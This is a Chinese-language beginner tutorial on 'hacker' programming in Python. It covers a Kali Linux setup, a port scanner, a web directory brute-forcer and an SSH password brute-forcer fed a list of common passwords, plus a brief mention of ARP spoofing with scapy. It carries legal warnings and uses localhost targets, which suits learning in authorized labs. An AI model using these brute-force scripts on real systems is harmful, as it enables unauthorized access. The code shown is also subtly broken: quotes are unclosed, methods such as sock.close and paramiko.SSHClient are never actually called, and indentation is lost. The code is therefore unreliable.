以下是针对零基础用户的手把手黑客代码编写实战教程，结合渗透测试和网络安全基础，通过Python语言实现简单功能，帮助新手快速入门。教程分为环境准备、基础代码实践和实战案例三部分，引用多个权威资源指导操作。

一、环境准备（以Kali Linux为例）

1. 安装虚拟机

使用VirtualBox或VMware安装Kali Linux系统（渗透测试专用系统）。

更新系统：`sudo apt update && sudo apt upgrade`

2. Python环境配置

Kali Linux自带Python 3，验证安装：`python3 --version`

安装必要库：`pip install requests scapy`（用于网络请求和抓包）。

二、Python基础代码实践

案例1：简易端口扫描器

功能：检测目标主机的开放端口。

python

import socket

def port_scan(target, port):

try:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.settimeout(1)

result = sock.connect_ex((target, port))

if result == 0:

print(f"Port {port} is open")

sock.close

except Exception as e:

pass

示例：扫描本机（127.0.0.1）的1-100端口

target_ip = "127.0.0.1

for port in range(1, 101):

port_scan(target_ip, port)

解析：

使用`socket`库建立TCP连接，通过`connect_ex`判断端口状态。

注意：仅限本地测试，未经授权扫描他人主机属违法行为。

案例2：目录/文件爆破工具

功能：探测网站隐藏的敏感目录（如后台登录页）。

python

import requests

def dir_bruteforce(url, wordlist):

with open(wordlist, 'r') as f:

for line in f:

path = line.strip

full_url = f"{url}/{path}

try:

response = requests.get(full_url, timeout=2)

if response.status_code == 200:

print(f"[+] Found: {full_url}")

except:

continue

示例：使用预置字典探测本地测试网站

target_url = "http://localhost:8000

dict_file = "common_dirs.txt" 需提前准备常见目录字典（如admin、wp-admin）

dir_bruteforce(target_url, dict_file)

解析：

通过读取字典文件，批量请求目标路径，根据状态码判断是否存在。

字典示例：从GitHub下载常见目录列表（如`SecLists`项目）。

案例3：弱口令爆破（SSH/FTP）

功能：尝试常见密码组合登录目标服务。

python

import paramiko

def ssh_bruteforce(host, username, password_list):

ssh = paramiko.SSHClient

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)

for password in password_list:

try:

ssh.connect(host, username=username, password=password, timeout=3)

print(f"[+] Success! Username: {username}, Password: {password}")

return

except:

print(f"[-] Failed: {password}")

continue

ssh.close

示例：尝试爆破本地SSH服务（需提前启动）

host = "127.0.0.1

username = "root

passwords = ["admin", "123456", "password", "root"]

ssh_bruteforce(host, username, passwords)

解析：

使用`paramiko`库实现SSH连接测试。

合法用途：仅限授权测试自己的服务器。

三、进阶实战：结合工具与代码

1. ARP欺骗嗅探（需root权限）

使用`scapy`库构造ARP欺骗包，监听局域网流量（需深入学习网络协议）。

2. 漏洞利用

学习SQL注入、XSS等漏洞原理，尝试编写自动化检测脚本（参考《Web安全攻防实战》）。

四、法律与道德准则

仅在授权环境测试：使用自己的虚拟机或CTF靶场（如DVWA、OWASP Juice Shop）。

禁止非法攻击：未经授权的渗透测试可能触犯《网络安全法》。

五、学习资源推荐

1. 书籍

《Python核心编程》

《白帽子讲Web安全》

2. 工具与靶场

Kali Linux工具集：Nmap、Burp Suite、Metasploit。

CTF比赛平台：Hack The Box、CTFtime。

3. 社区与课程

FreeBuf、看雪论坛

Udemy课程《Complete Python3 Ethical Hacking》

通过以上步骤，你可以在合法范围内逐步掌握基础黑客技术。建议从CTF竞赛和靶场练习开始，积累实战经验后再尝试复杂攻击链。